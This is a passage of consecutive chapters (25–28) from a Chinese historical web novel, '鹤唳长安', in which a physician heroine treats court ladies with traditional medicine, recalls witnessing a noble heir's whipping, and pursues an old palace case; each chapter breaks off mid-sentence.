姜离谨慎道:“跟着师父所学颇杂,什么都能治一治。” 薛兰时缓缓颔首,“本宫知道,你师父名号 第 25 章 登门 《鹤唳长安》全本免费阅读 “解毒?!” 薛兰时还来不及为有再孕可能开心,又被吓一跳,薛琦也听得骇然,“什么毒?太子妃娘娘好端端的怎会中毒?” 姜离又换一手请脉,又问道:“娘娘平日里可会有心悸失眠,口舌发涩,无端烦热,指尖四肢发麻无力之状?” 薛兰时蹙眉道:“的确偶有此状,但本宫请御医来看过,说是本宫忧思过多、脾肾有虚,气血有损所致,近日尚在温补调理。” 姜离仔细分辨脉息,目光亦一寸寸滑过薛兰时的发髻、眉眼、面颊,再至她纤细的颈子、手腕,最后至指甲,她又道:“御医没有说错,但我猜他们开方子调理的效用极慢,甚至时常反复,再次来看时,依旧以为娘娘思虑过重,娘娘听得反而越发担心,如此来回往复,娘娘近年定是用药不断,比如艾附暖宫丸、磁朱丸、白薇丸、阳和解凝膏等药,不知我说的可对?” 薛兰时面色复杂起来,她身份贵重,医药脉案从来为东宫之秘,如今姜离只问脉便猜出大半,她是认也不是,不认也不是。 姜离见她神色便知自己所猜不错,随即道:“艾附暖宫丸主治血虚气滞、下焦虚寒所致的月事不顺,磁朱丸主治心肾阴虚,心阳偏亢导致的心悸失眠,头晕耳鸣,白薇丸是为不孕求子,阳和解凝膏温经散寒,化湿止痛,消肿散结,都是妇人病常用之药,但这些药中也多有毒性——” “艾附暖宫丸中的附子和艾草不可常用,磁朱丸的磁石与朱砂,白薇丸的附子、钟乳、紫石英与白石英,阳和解凝膏中的生川乌、生附子、麝香等,常用混用皆有毒性,娘娘虽多有注意,但娘娘用药年久,长久积累下来毒性已入脏腑。” 薛兰时眉尖蹙起,“那按你之言,如今如何解毒?” 姜离收手,“如今不可用繁药,只需服用葱白豉汤,加以控制饮食,再十日一次施针,月余便可为娘娘尽除积毒。” 薛兰时唤道:“秋雯——” 话音落下,守在外的掌事姑姑走了进来,薛兰时道:“听阿泠的吩咐。” 秋雯应是,姜离便道:“葱白五钱、豉七钱,人参三钱,熬汤煮沸,饭前饮下,一日三服,平日饮食需清淡得宜,不食大肉多食鱼虾,早膳只用黍米白粥佐以鲜菜,如今深冬,若娘娘哪日手脚发僵逆冷, 心中烦闷,则可在用膳时多加一盏温酒服下,不可多服。” 秋雯仔仔细细记下,薛兰时道:“两月之后便可除毒?那何时才能再孕?” 姜离道:“除毒之后继续为娘娘调理身子,施针加汤液,短则半年多则一年,便能让娘娘有再孕之机,但受孕非女子一人之责,太子殿下也需身体安泰才好。” 薛琦听得无奈,又警惕地朝外看,“你这孩子,太子殿下自是安泰的。” 薛兰时倒是笑开,“本宫明白你的意思,半年一年的虽然还是慢,但这么多年本宫都过来了,如今好歹有了希望,知道你擅施针,本宫也为你准备好了。” 她起身入内帷,姜离也跟进去,没多时,秋雯自耳房捧出个针囊来,姜离打开针囊道:“请娘娘仰躺,露出胸口与腹部——” 秋雯帮薛兰时更衣,姜离一边施针一边道:“鹰窗穴主治乳痈,寒热气短,坐卧不安,神阙与归来二穴主女子阴寒,关元活宫,冲脉与足少阴之会穴气穴亦治胞宫虚寒,月水不通,娘娘沉疴已久,我尽力为娘娘徐徐理之。” 适才在外时姜离未细说她妇人病症,此刻施针,却是颇为对症。 薛兰时微微闭着眼睛道:“你是个细致的孩子。” 姜离不再多言,待一刻钟后为薛兰时施针完毕,她起身合衣,只觉小腹暖热松快,果与片刻前多有不同,她眼底明光更甚,拉着姜离的手朝外走,又语重心长道:“阿泠,若你真能让本宫再孕,那你便是薛氏的大功臣。” 说着话,薛兰时触到她掌心一层薄茧,“你行走江湖,可会武艺?” 姜离摇头,“我禀赋极差,少时还患过心疾,并未学过武功。” 见她们出来,薛琦和李嫣迎了上来,皆疑问地看着她,似在等她评价。 薛兰时笑眼微弯,拍着姜离手背道:“这些年本宫看过不少大夫,也因此用药颇杂,但十多年看下来莫说有何人能助本宫,便是真正能信任之人都寥寥无几,但如今阿泠回来了,自家孩子自与旁人不同,适才只施针,已让本宫知道她那盛名所言非虚,天可怜见,我们薛氏竟出了这样一位医家奇才。” 薛琦松了口气,李嫣则觉惊艳,姜离谦虚道:“大周最好的医家在尚药局、左春坊药藏局与太医署中,我年纪尚轻当不 得娘娘如此夸赞,此番医治之法娘娘若有疑处,我也可与太医们共诊。” 薛兰时失笑,“你不必自谦,你年纪虽轻,但本宫看了那么多大夫,岂能不知?几年前本宫身边倒是有一个值得信任的,也擅妇人病,但可惜一来此人是男子多有不便,二来,这些年此人官虽升了,心气却低了,年年自请外派地方费力不讨好。” 薛琦听至此道:“娘娘别说,白敬之这两日也该回来了。” 薛兰时拉着姜离在身边坐下,摇头道:“此人胆小,用不得了,本宫看阿泠就极好。” 她看向姜离,“姑姑信你,你莫要让姑姑失望。” 此时自称姑姑,代表她对姜离颇为赏识,姜离颔首,“是,我自尽力为姑姑分忧。” 薛琦面露笑颜,唏嘘道:“若是泠儿能帮得上娘娘,明岁湛儿再一举高中,娘娘便可高枕无忧了。” 薛兰时道:“哥哥有一双好儿女,如今阿泠在长安,本宫想见便见了,湛儿在书院哥哥却得照顾周全些,前次陛下还问,说湛儿近来可做好文,本宫只道他为了明岁入科场做准备,未有闲暇做赋,陛下听了也十分期待湛儿明岁能拔得头筹。” 薛琦笑的眼睛眯起,“明白明白,我不会疏忽湛儿的,您尽管放心。” 薛兰时很是满意,唤来另一个叫明夏的侍婢,“去把给阿泠备下的那套头面拿来,这些年这孩子在外面受苦,本宫这做姑姑的头一次见面总要表表心意。” 明夏应是,李嫣上前拉住姜离的手道:“表姐,你的医术这样厉害,可打算收徒儿?我在这宫中好生无趣,不如去找表姐学医吧?” 姜离失笑,“学医辛苦,我实在不忍郡主受苦。” 薛兰时也道:“你莫要胡闹了,被你父亲知道,又要斥责你。” 李嫣嘴巴一瘪,“反正父亲心里只有李瑾,女儿都三日未见过父亲了。” 薛琦听得心紧,“太子殿下这些日子在忙什么?” 薛兰时叹气道:“在忙徐州水患余事,水患虽在夏天,可灾民太多,从入冬到明年开春如何安置是一大患,朝廷怕再生襄州那样的乱子,一直在定计策,再加上此番水患毁掉了不少河堤,若不趁着冬日修补,明岁春夏又要出事,偏生如今朝廷找不出像沈栋那样的治水能臣,如 今工部和都水监那些人都焦头烂额呢。” 襄州民乱正是流民太多之祸,朝廷自不能重蹈覆辙,薛琦了然,“那我明白了,那娘娘便好生养身子,再防着景华宫那位便是。” 薛兰时凉凉一笑,“李瑾越来越得陛下喜欢,防不防的也不打紧了,他不比他哥哥英才,命却是比他哥哥贵上百倍,实在让人唏嘘。” 薛琦听得心惊,“娘娘慎言,您知道此事提不得的。” 薛兰时浅吸口气,又恢复成端庄雍容的样子,“罢了,本宫心里有数。” 见她施针完面有倦怠,薛琦便道:“娘娘好生养着,天色不早,我便带着泠儿先告退了,娘娘有何不适,只管宣召泠儿便是。” 薛兰时便道:“好,十日之后,本宫派人去接阿泠。” 姜离起身行礼告退,又跟着领路的小太监一路出宫,刚过了崇仁殿,却见不远处一个年轻公子进了太子议事的崇教殿,薛琦眉头微皱,“那是宁家小公子?” 小太监应是,又低声道:“入冬之后,宁家小公子经常被太子殿下召来说话。” 薛琦哼了一声,待出了朱雀门上得马车,面色才彻底沉了下来,姜离就坐在对面,不好装作没看见,便道:“父亲,那位小公子是……” 薛琦道:“是宁侧妃的弟弟宁珏 第 26 章 责打 《鹤唳长安》全本免费阅读 怀夕抱着医箱坐在马车里,一边张望着暮色中的街市热闹,一边道,“姑娘,去裴国公府的路和咱们去舅老爷府上同一个方向……” 裴家先祖乃开国元勋,后获封世袭公爵,百多年传承下来,裴氏嫡系出过五位宰相,十多位阁臣,当今国公爷裴渊年至古稀,曾官拜太傅,是当年辅佐景德帝登基的第一大功臣,直到二十四年前,裴渊因病乞身,多年来只做个富贵闲人。 裴府坐落在朱雀门以西的延寿坊,比简家所在的通义坊更靠近皇城,姜离从窗口看出去,越靠近延寿坊,入目街市巷陌越是熟悉。 见姜离不言,怀夕又接着道:“姑娘,奴婢没想到裴大人竟真来致谢了,他果真言出必行……” “奴婢听吉祥姐姐说,裴大人年少成名,这么多年白圭无玷,是长安城最光风霁月的公子典范,许多世家小姐都对他芳心暗许,但裴少卿太过渊清玉絜,贵女们喜欢,却又觉他高不可及不敢示好,这么些年,也只有安阳郡主对他表露过心意。” “说安阳郡主是难得一见的美人呢,但裴大人却未与她有半点蜚短流长,吉祥姐姐还说裴大人自小规矩礼法无可挑剔,乃是因裴家家训之故,他小小年纪便将家训刻在骨子里,与别的孩童大不一样,也因此,有人说他天性凉薄,正合那存天理灭人欲之说……” 姜离听着她絮叨,目光一时悠长起来,十二年前,紫薇殿廊桥遥遥一见,冰雪天地间,如圭如璋的少年郎谁人不为其心折?便是彼时姜离自己,也觉裴晏惊才艳艳,天人之姿,与她这样被半途收养的,假模假式只会学医的“贵女”是天壤之别。 然而未隔多久,她第一次随虞清苓入裴国公府,如今日这般去给裴老夫人诊病时,却在裴国公府的后园内目睹了令她极心惊的一幕…… 老夫人患胞宫积热之症,因施针处私隐,虞清苓为其诊病时,姜离独自等在老夫人卧房外。裴府的老嬷嬷见八岁的她着一身杏黄锦鲤纹襦裙,冰雪姿容,沉静乖巧,一双眼睛却不住往院子里的红梅上瞧,便笑呵呵道:“姜姑娘,若喜欢便去折两支,出了院子往西走还有刚开的绿腭梅,姑娘折两支带回府赏玩,免得等的无趣。” 那时的她到底年幼,平日极力守世家规矩,骨子里尚有顽性,且她在外流落多年,哪里见过绿 色梅花?见虞清苓还有些时候,她礼数周全地应谢,又徐步往外走,出了上房见院子里并无其他下人,她松出口气,提起裙摆往西侧门去。 出侧门过连廊,姜离很快看到了大片绿萼梅,浅绿的花簇层层叠叠,繁若堆雪,姜离嗅着梅香走入林中,心想折三枝,与魏阶、魏旸,虞清苓房中各养一枝。 她选那花朵半开,枝条虬结写意的折了两支,正要去折那第三支时,一道又响又重的抽打声响了起来,她甚至听得分明,那是鞭子抽打皮肉的声音,姜离耳力素来不弱,目光四扫后,看向了梅林东南的一座厅阁。 起先她并无探究之意,谁知一道低低的呜咽声响了起来。 若是惩治下人,也不该如此无声无息的,姜离心底疑窦更深,放轻了脚步往那朱漆碧瓦的窗根下走去—— “你知错了吗?” 走至半途,一道咬牙切齿的妇人声低低响起,姜离脚下微顿,心道还真是在惩戒下人?此念既出,她转身便走,她是伯府义女,绝不能在外给虞清苓惹麻烦,可还未走出两步,那道抽打声更重更快,听得姜离头皮发麻,她很是不解,怎么没求饶呢?就算不甘心,也先低头啊! 她忽然一惊,不是要被打死了吧! 这么一想,姜离踅身而返,轻手轻脚地摸到了窗根下,老旧的窗棂咬合不紧,正好有处缝隙能让她看到窗内一角,她眯起眼睛,只见屋内光线晦暗,尺宽长凳上,趴着一个光裸背脊的少年,少年身侧,半幅竹枝纹褶裙袍摆伫立着。 忽然,长鞭扬起落下,重重抽打在少年背上,隔着丈余,姜离也能看到少年背上已是血肉模糊,他的脑袋朝着窗棂方向,披散着头发一动不动,若非他的手还紧抓着凳沿,姜离几乎以为他已晕死过去,长凳另侧跪着个背脊佝偻的小厮,正是他在哭泣。 执鞭之人长裙曳地,但微弱的光线模糊了衣料材质,姜离一时不知此人是何等身份,而很快,刻意压低的质问又响了起来—— “你非要在这时触怒天颜吗?你还记不记得你父亲的遗愿?你这世子之位来之不易,你非要为了那些不相干之人,舍弃裴氏一门的尊荣吗?” 姜离瞪大了眼瞳,而妇人又重重落下一鞭,恨声问:“裴氏家训第一句是什么?” “克、克己慎行 ,欲不可纵。” 少年声音嘶哑的答话,妇人却尤不解恨,又落下一鞭道:“好,原来你还记得,你让母亲太过失望!你想看着祖父和祖母一把年纪还为你担惊受怕吗?偌大的裴氏若毁于你手,便等于你拿刀杀了母亲!还是,你想看着母亲死在你面前?!” 她越说越是激动,“你说,你到底知不知错?知不知错!知不知错?!” 一问厉过一问,一鞭重过一鞭,少年依旧不认,窗棂之外,姜离攥着花枝,瞪大眼瞳,大气都不敢喘一声,她知道,这打人的乃是高阳郡主李菡,而那趴在长凳上的,正是数日前在宫里见过的,声名赫赫的国公府新世子裴晏! 他笔挺的背脊仿佛快被抽断,血色沿着肩胛而下,滴滴落在屋内地砖上,姜离看的心惊肉跳,却知此事绝不是她能管的,不仅如此,她得立刻离开才是。 她屏息往后退去,可冬日凛寒,窗根石阶凝着一层薄冰,她刚要转身,脚下“呲”的一滑,动静本不大,可这时,裴晏一动不动的 第 27 章 求救 《鹤唳长安》全本免费阅读 絮雪初歇,姜离徐步跟在裴晏身后,淡淡地打量眼前阔达的宅邸。 时隔五年,裴国公府还是她记忆中的模样,飞檐连绵,亭台木石不显奢华,却极具匠心,无论是别致的假山园景,还是匾额对联上的诗文题字,都常令人眼前一亮,凛冬时节,朱楼碧瓦银装玉砌,松竹榆柳白头覆雪,但一路行来少见仆从,略显得清寂了些。 待入内苑,裴晏道:“祖母宿疾已久,是年轻时留下的病根,这些年一直用药调理,可始终见效甚微,近来更是只能卧床安养。” 顿了顿,他又看姜离一眼,“康景明的案子已审得差不多,公文已呈至御前,今日一早,寿安伯也连上了三道急折,午时之后,徐钊和庆安伯已至御前请罪。” 康景明杀人偿命难脱罪责,但徐令则和余妙芙还真不好说,二人父亲一个是执掌巡防营五万禁军的御前红人,一个是世袭伯爵,纵然如今已多有没落,但瘦死的骆驼比马大,朝中多半会有人为其求情。 姜离早有所料,只道:“尽人事看天意吧。” 这个“天意”多有所指,裴晏也默然下来,九思跟在二人身后道:“哪怕陛下网开一面,徐家那位少将军和余家四姑娘的名声也坏了,今日一早长安已经传遍二人丑事,如今世家们都等着看两家如何收场呢,事情闹成这样,也不知是不是要结亲。” 怀夕奇怪道:“那余姑娘都怀了徐家的孩子了,难不成徐家公子不娶她吗?” 九思耸耸肩道:“若是不娶,徐家的名声更坏,若是娶了,那以后徐家的家眷们,却是没脸出来走动了,还真说不好。” 说话间裴老夫人的院子近在眼前,甫一进院门,便见墙角的三五梅树仍是灼灼盛放,门口的小丫头往里禀告了一声,门帘掀起,走出来个面容和善的老嬷嬷,裴晏开口道:“文嬷嬷,祖母可等着?” 文嬷嬷便是当年让姜离折花的裴老夫人亲信,时隔五年,她鬓角更添霜白,神容却更显慈爱,她点头道:“等着的,这位姑娘便是薛大小姐?” 裴晏应是,姜离也点头问候,文嬷嬷上下打量她片刻,又仔细瞧她眉眼,片刻笑着打起帘络,“姑娘快请——” 屋内点着沉香,裴老夫人着鸦青团花纹通袖袄裙倚靠在西厢的罗汉榻上,裴晏将姜离带进去 ,“祖母,这位便是孙儿与您提过的薛姑娘,孙儿将她请来了。” 裴晏让开身,姜离便对上一双混浊却和气的眸子,她欠了欠身,“老夫人。” 裴老夫人和蔼地笑道:“鹤臣提了姑娘几次了,老身想着姑娘身份贵重,哪能给我老婆子瞧病,却不想姑娘真的来了,快过来坐,阿文,倒茶来。” 文嬷嬷奉茶,姜离便在老夫人榻前坐了下来,“老夫人不必忧心,治病救人本就是医家之责,老夫人若信任我的医术,也是我之荣幸。” 裴老夫人眉眼微弯,“姑娘年纪轻轻便有如此声名,除了勤苦,还得看天份,满长安也难找出几个似姑娘一般的人物,刚回长安,可还习惯?” 姜离手捧着热茶,“还算习惯……” 寒暄了几句,姜离放下茶盏褪去斗篷,“请您伸出手来。” 老夫人挽了挽袖口伸手,姜离指尖刚搭上她腕子,秀眉便是微蹙,这时裴老夫人道:“此前在用石斛泽兰丸,姑娘看看,如今改个什么方子更好。” 片刻,姜离收手,头也不回道:“请裴大人暂避。” 裴晏一愣,当即转身而出,九思怔了怔,也连忙退去了中堂,这时姜离才道:“老夫人乃是沉疴,只改方子还不够,我想为老夫人验查身子,不知老夫人可愿?” 老夫人看一眼文嬷嬷,强忍尴尬道:“这……老身自己的病自己清楚,再如何治,也是半截身子入土的人了,姑娘只需开个方子老身挨过这个冬日便好了。” 姜离并不着急,温声问:“老夫人是否时常头痛,小腹疼痛坠胀,秽露量多,色黄与赤白相兼,且质稠,平日里多有口干口涩,食欲不振,此外,还当有腰骶酸楚,小便短黄,大便秘结或溏泻不爽之状?” 裴老夫人面色更显僵黑,又强作镇定道:“姑娘所言不错。” 姜离和缓道:“老夫人不必难为情,您的病乃是拖延日久才越显严重,您脉息强健有力,乃是长命百岁之象,又岂能早早自弃忌医?我是女子,最明白私密处患病对女子最是折磨,您若是请了别的大夫便罢了,今日既是我来,还请您信我。” 裴老夫人年过花甲,素日和蔼持重,可此时面对着姜离,却难堪地绷紧了背脊,但如此,愈发显出她下半身僵硬,似乎多有不适。 姜离又道:“此病乃是湿热邪毒侵及胞宫腹盆,气血瘀滞又与败血搏结,因邪气盛实瘀热内结,而致腹痛较重,并有高热寒战之状,又当瘀热阻于肠道,可致腑气不通、热结旁流,继生腹泻无食欲等症,眼下我一来要看老夫人密处秽露,二来想看看老夫人下身是否有糜烂血肿之状,您不必担心,出了您的屋子我一个字也不会多说。” 裴老夫人听至此,紧张地攥着衣袖,活了大半辈子的她面上竟露出几分无措,“我、我并非怕姑娘多言,实是这病随了老身大半辈子,到了如今这把年纪,莫说旁人,便是自己都嫌恶的紧,姑娘想尽心力,但老身忍忍也就过了,倒也不必……” 姜离不懈道:“我明白老夫人过不去心里那道坎,可人活一世,不论贵贱,不论老幼,身体发肤寸寸金贵,怎能受着病痛折磨度日?世间女子最会一个‘忍’字,若没法子倒也罢了,如今有得治,老夫人何需再忍?快要过年了,您只要信我,我保准年关之时,您不会再为此病痛所累——” 姜离言辞真切,听得文嬷嬷动容起来,她也跟着劝道:“老夫人,就听薛姑娘的吧,这不是什么有违规矩礼教之事,也不是什么污秽不堪之事,您痛得夜夜难眠,当真不能再拖了,这几年没了虞夫人,您没有一日好过的。” “虞夫人”三字让姜离心头一颤,而这时裴老夫人面容终于有所松动,“那、那便劳烦姑娘了……” 姜离也松了一口气,吩咐怀夕留下医箱,她也暂避出去。 怀夕明白老夫人顾及脸面,从善如流退去了中堂,九思见她出来,连忙迎上来道:“怎么样了?” 怀夕道:“还得一会儿。” 九思点了点头,见裴晏站在窗边不言,他便与怀夕闲聊起来,“你一直跟着薛姑娘吗?你看起来年纪不大,你们二人行走江湖不怕吗?” 怀夕微微一笑:“有何好怕?许多人求着姑娘救命呢,哪敢有人害姑娘?” 九思又道:“但倘若被薛姑娘救下的那人有大仇家,那姑娘岂不是也会被连累?我观姑娘气息,不似武功高明之人。” 怀夕眨眨眼,“那你看我呢?” 九思道:“你高不至五尺,又瘦,你……” 怀夕五官生的显小,个头就更是秀珍可爱,但她这 辈子最恨被人说矮,一听此言,表情顿时危险起来,但想到是在裴府,她忍了又忍转身站去了门口。 九思抓了抓脑袋,嘀咕道:“我没看错嘛……” 大抵近两刻钟后,才听屋内传来要水声,没多时,姜离一边净手一边道:“与我所料不错,老夫人这几年病情反复拖延日久,病况已有些严峻,但老夫人不必太过担心,按我的方子治,尚且来得及。” 净了手,姜离唤了怀夕进来,又道:“我要给老夫人开三个方子,一为汤液内服,一日三次,二为汤液坐洗,早晚两次,三为药包热敷,将药包放在蒸笼之中沸水蒸一刻钟,再用粗布包裹放于小腹部热敷,热敷一刻钟可缓痛。” 一听此法,裴老夫人和文嬷嬷对视一眼,皆有些惊讶,裴老夫人道:“从前我有位极信任的女医,也常用热敷法,只不过她是汤液热敷。” 姜离心知她所言仍是虞清苓,便笑笑道:“热敷之法不算少见,老夫人既曾用过,那更是极好。” 等姜离写好方子,已经是夜幕初临,又叮嘱了些禁忌,见老夫人折腾半晌多有疲惫,她随即提出告辞,裴老夫人便唤道:“鹤臣,你替我送薛姑娘——” 裴晏入内应是,眼看要出门,裴老夫人又问:“你母亲可好?” 裴晏道:“您安心,母亲在礼佛。” 裴老夫人未再多问,出来上房时,姜离却看了一眼裴晏的侧影,裴晏的母亲高阳郡主乃是当年的昭亲王李闽之女,昭亲王擅弓马,高阳郡主便也习得一手骑射之术,也因此,她常用马鞭教训人,但她记得当年高阳郡主并不信佛道。 疑问一闪而过,姜离并不打算深究,待出了老夫人院子,九思执灯在前,沿着偏东侧的回廊朝府门处走,没走几步,裴晏问到:“薛姑娘诊金几何?” 怀夕看向姜离,九思也竖起耳朵,姜离平静道:“一两……金。” 裴晏脚步微顿,怀夕一脸诧异地看着自家主子,“姑娘,您、您说多少?” 姜离道,“一两金,有问题吗?” “没问题。”裴晏先答话,又拿过九思手中灯盏,对未回过神的他道:“去书房取诊金来。” 九思呐呐应是,一路小跑而走,怀夕目送他离去,又瞥了一眼裴晏情绪难辨的神色,暗自琢磨裴 晏此刻做何感想,一旁姜离也瞟了裴晏一眼,见他无所动,她便也施施然领受了这笔诊金。 这时,怀夕鼻息微动,“什么香?” 她目光四扫,又看向了身边镂空花墙,上前两步仔细往花墙之后一瞧,惊讶道:“姑娘快看,好漂亮的梅林——” 姜离不想动,可与裴晏默然而立更无趣,于是她也朝花墙后看去,这一看,她当即拧紧了眉头,目之所及的裴氏园景,竟不知何时种了大片的绿萼梅,如今绿梅正开,似丛丛绿雪簇拥在虬结枝头,好一片赏心悦目。 此处离老夫人院子以西的梅林颇远,她依稀记得,这里原是大片的芭蕉木槿,她瞥了一眼神色如常的裴晏,心底狐疑更甚,又得片刻,九思捧着个锦盒跑回来,见怀夕巴巴望着梅林,喘着气道:“这是麟州绿萼梅,我们府中种了三片林子呢。” 他说着将锦盒递上,怀夕看一眼姜离,将沉甸甸的锦盒接了过来。 拿了诊金,姜离不愿久留,一路行至府门,裴晏问到:“祖母的病——” 姜离道:“七日之后我会再来,裴大人不必相送了。” 她说着上了马车,裴晏站在府门前,目送着马车远去,等人走远了,九思不敢置信道:“公子,小人问过,薛姑娘在寿安伯府出诊,可是一文钱不要的,怎么在咱们这里便要一两金啊,一两!一两金子!便是医署金大人也不敢要这么贵!” 裴晏目光悠悠,“她去其他人府上,也不会这么贵。” 他说着转身入府,九思抓耳挠腮道:“啊?合着只有咱们府上这么贵啊!她知不知道您如今一个月俸禄几何啊——” 九思替主着急,裴晏的心情却似乎不错,他点头道:“是,只有我们。” 九思见他优哉游哉的,怒不可遏道:“您知不知道您一个月禄米禄银林林总总加起来十两银子不到啊!!!”- 回程的马车上,怀夕打开锦盒,看着那一小枚金光灿灿的金元宝瞠目道:“姑娘,您真敢要啊!您和裴大人,一个敢要一个敢给,长安城还有比您更贵的医家吗?裴大人也不似人傻钱多的啊……” 姜离盯着锦盒,眼底晦暗不明的,“我丑话已说在前头,他却还要请我,那也不怪我诊金贵了。” 怀夕将锦盒合起,小心翼翼道 :“您在去别家出诊,可不会要这么贵的诊金,您如此特殊对待,倒像是……与裴大人有仇似的。” 姜离牵唇,“很明显吗?” 怀夕一愕,“啊?真有仇啊!” 姜离轻嗤一下,更像是在逗弄她,“仇倒也说不上,但也不可能白白去他府上出诊便是了。” 怀夕眼底满是好奇,但姜离往车璧一靠养神起来,却是没了再说话的打算,怀夕抱着锦盒,只好将满心好奇压了下来。 回到薛府时天色已经黑透,刚一进门,便见如意守在门口,她上来道:“大小姐,广宁伯府上的二小姐来了。” 广宁伯府二小姐正是郭淑妤,姜离与她公主府莳花宴一别已有数日,还有些挂念她的手腕,此刻一听她来,连忙道:“人在何处?带路——” “在前院候着,三小姐在作陪。” 姜离入前院时,便见正厅内灯火通明,门口守着七八个面生仆妇,门内郭淑妤正在和薛沁说话,薛沁正眉飞色舞说着什么,郭淑妤却一眼看到她归来,立刻抬步走了出来,“薛姑娘回来了——” 到了跟前,姜离问:“郭姑娘,你的手可好了?” 郭淑妤今日身披丁香色百花戏蝶纹斗篷,浅笑一下道:“你送来的方子我用了,这几日一直在府里好好养着,如今已经大好了,姑娘不必挂心。” 姜离摸了摸她的腕骨,见果然已无大碍方才放下心来,又借着明灿灯火打量郭淑妤一瞬,便见她乌发如缎,五官明秀,面色却有些差。 她开门见山问:“姑娘这么晚来可是有事?” 郭淑妤身边跟着一位紫衣侍婢,那七八个仆妇亦是她一同带来,见她欲言又止地往四周扫了一眼,姜离了然道:“不如请姑娘去我那里坐坐?” 郭淑妤立刻应是,又向薛沁告辞,“三姑娘,那我便先去大小姐那里了。” 薛沁不甚乐意,却是道:“也好,反正前天晚上长姐大出风头,徐家和余家的事,你让她给你细细讲来便是了,时辰晚了,我先回去歇下了。” 话音落定,薛沁又看向姜离,“长姐去裴大人府上看的如何?” 姜离不耐应付,只道:“她人病状不好多言,妹妹早些歇下吧。” 言毕,她拉着郭淑妤而走,薛沁原地跺了跺 第 28 章 救命 《鹤唳长安》全本免费阅读 送走郭淑妤,姜离回盈月楼沐浴更衣后,从箱笼最底层翻出了一本泛黄医书,她坐在窗前昏灯下,打开医书,将一份古篆体写就的名单取了出来。 怀夕上前将灯花拨亮些,忧心道:“姑娘回长安半月,还是头一次拿出这份名单看,可是姑娘今日在太子妃那里得了什么线索?” 姜离之所以费尽周折冒充薛家大小姐,一是因当年的案子薛琦为主审之一,二是因薛兰时当年同样存疑,而借由薛兰时,她便有了名正言顺出入东宫的机会。 她缓缓摇头道:“今日只是为薛兰时探病,算初得她的信任,并未提起五年前之事,当年出事之时人员情况颇为复杂,便是到如今,有些人我仍难调查清楚,再加上后来处置的人太多,我眼下只能徐徐图之。” 怀夕道:“若待太子妃完全信任姑娘,放任姑娘在东宫自由行走,姑娘可有法子?” 柔韧纸页上排布着三十来个姓名,还伴着众人生平简述,姜离目光寸寸移过,语气幽深道:“当年的案子虽生在东宫,牵扯的大夫却颇多,如今的左春坊药藏局已没有当年案子的旧人了。” 大周立朝近两百年,仍沿用前朝旧制,各处医药皆设不同衙司,东宫的左春坊药藏局,负责照应太子和东宫众妃嫔们不甚疑难的病症,若有何病药藏监和药藏丞看不了的,便要从太医署调召御医,若连太医署的御医也难治,那除了从民间请大夫,还有陛下跟前的殿中省尚药局可寄希望。 姜离道:“当年皇太孙发病后,起初是药藏局的药藏监许长旭、药藏丞宋允楠负责医治,他二人也算医术高明的大夫,但确定染疫病后,东宫上报给陛下,陛下牵挂不已,调拨了自己尚药局的俸御郎温明礼带着侍御医秦求安前来看诊,这四人会诊了半月,皇太孙却病的越来越重,陛下担忧更深,忙又让义父抽调太医署的人常驻东宫,当时长安城也需治疫,太医署忙作一团,义父便调派了医监周瓒、医正孙致远二人一同问诊。” 怀夕了然,“牵涉了三个衙门的人……” 姜离点头,“这些人里头,义父独门针灸术冠绝大周,温明礼的汤液也独树一帜,因此由他二人主治,其他人一同侍候诊脉、参议处方、合药尝药等,皇太孙染疫之前刚患过一次伤寒,因此正值体虚之时,染疫后病发的慢, 症结却深,义父七人换了不少方略,收效都甚微,在加上疫病闹得人心惶惶,那两个月义父白发都多了不少。” 说起旧事,姜离面上已无悲切,只瞳底一片苍凉,“出事之时师父在府中养病,我人在皇后娘娘身边,等我一番证供落定,也擅针灸的许长旭和秦求安先看出不对来,许长旭掌着东宫医药,皇太孙病亡,无论旁人如何,他都是首当其冲担责者,于是他同秦求安复盘了义父治病针法,又找了一个太医署里稍懂些伏羲九针的医正……” “这医正便是我去岁查过的白敬之,他与我义父素有私交,还听我义父说过些伏羲九针的门道,他一看我的证供,竟是比许、秦二人更笃定我义父施针有误,于是三人联起手,向陛下和太子检举义父害死了皇太孙,其他御医看出门道后,也为了开脱自己,自是站在他们那边,使得义父之罪朝夕定死。” 怀夕比姜离还生气,攥着拳头道:“但可惜他们也未逃过!” 姜离冷笑一下,“自然逃不过,他们说义父近三日施针皆有误,可他们个个享着大周医官俸禄,又深受陛下信任,却没有一人看出错处,怎么也要负失察之罪。” 药藏局的许长旭和宋允楠,因本就是东宫医官,死罪可免活罪难逃,两家人被判充军流放,后来都死在了朔北,温明礼和秦求安则被革了尚药局之职,下放到了地方医署,几年间在各处州府辗转,如今一个在黔州一个在幽州,周瓒和孙致远因本不擅针灸,牵累最小,被降为低等医工,仍在太医署留用。 至于其他低等医侍,连带着东宫伺候的宫婢太监,被处死者足有五十多人,这些人虽近不了皇太孙之身,却也经历过三月救治,但都在景德帝和太子大怒之下没了性命。 白敬之未参与救治皇太孙,自不曾被问罪,相反,因查出了皇太孙死因,还被景德帝恩赏,彼时正值太医署人员变动,他连升两阶做了太医丞直到如今,而太医令,则是当初治疫有功的御医金永仁顶了上。 怀夕知道旧案处置结果,此时捂住脖颈道:“不怪说皇宫内院比江湖上要凶险万倍,宫里那些侍奴,一不留神便要掉脑袋……” 姜离眯起眸子,语气危险起来,“当年剩下的六位大夫,短短半年后便死了两个,本还有四人,可孙致远在三年前去沧州治疫之时意 外而亡,所谓治疫过劳从马背上跌滚下来摔死的说法实在疑点重重,剩下的几人,温明礼在最南的黔州乞身归隐,秦求安在最北的幽州传道讲学,都距长安万里之遥,如今够得着的只剩下周瓒。” 微微一顿,她道:“白敬之快回来了。” 怀夕有些意外:“有消息了?” 姜离摇头,“在东宫时,薛兰时与薛琦说起了他,他第一擅小儿病,第二擅妇人病,此前大抵为薛兰时看过旧疾,算得她信任的,只是后来他常年在外,薛兰时嫌他心气低,将他弃了。” 说至此,她将名单收起,“如今差不多了,寻个时间去一趟崇德坊。” 怀夕语气松活两分道:“您回来半月了,长安已无人不知您的名头,何况那康景明的案子闹得满城风雨,下午连咱们府中小厮侍婢都在议论,说外头都在传您不仅医术高明,还会验死缉凶,连大理寺都不得不请您出马……” 姜离微微蹙眉,“世人都喜离奇怪诞之说,不过如此也好。” 歇下之时已近四更天,姜离辗转入梦,惊诧地发现自己又回到了七岁之前,时隔多年,再加上广安伯府的惨案,她已经有好几年不曾梦见幼年之事,可今夜,她又见到了槐花树下绣辛夷纹的妇人—— “抱朴守拙,讷言敏行,记住了吗?” “这么笨你一个人怎么活?” “不要问我你母亲的事……” “听我的话,永远别去长安……” 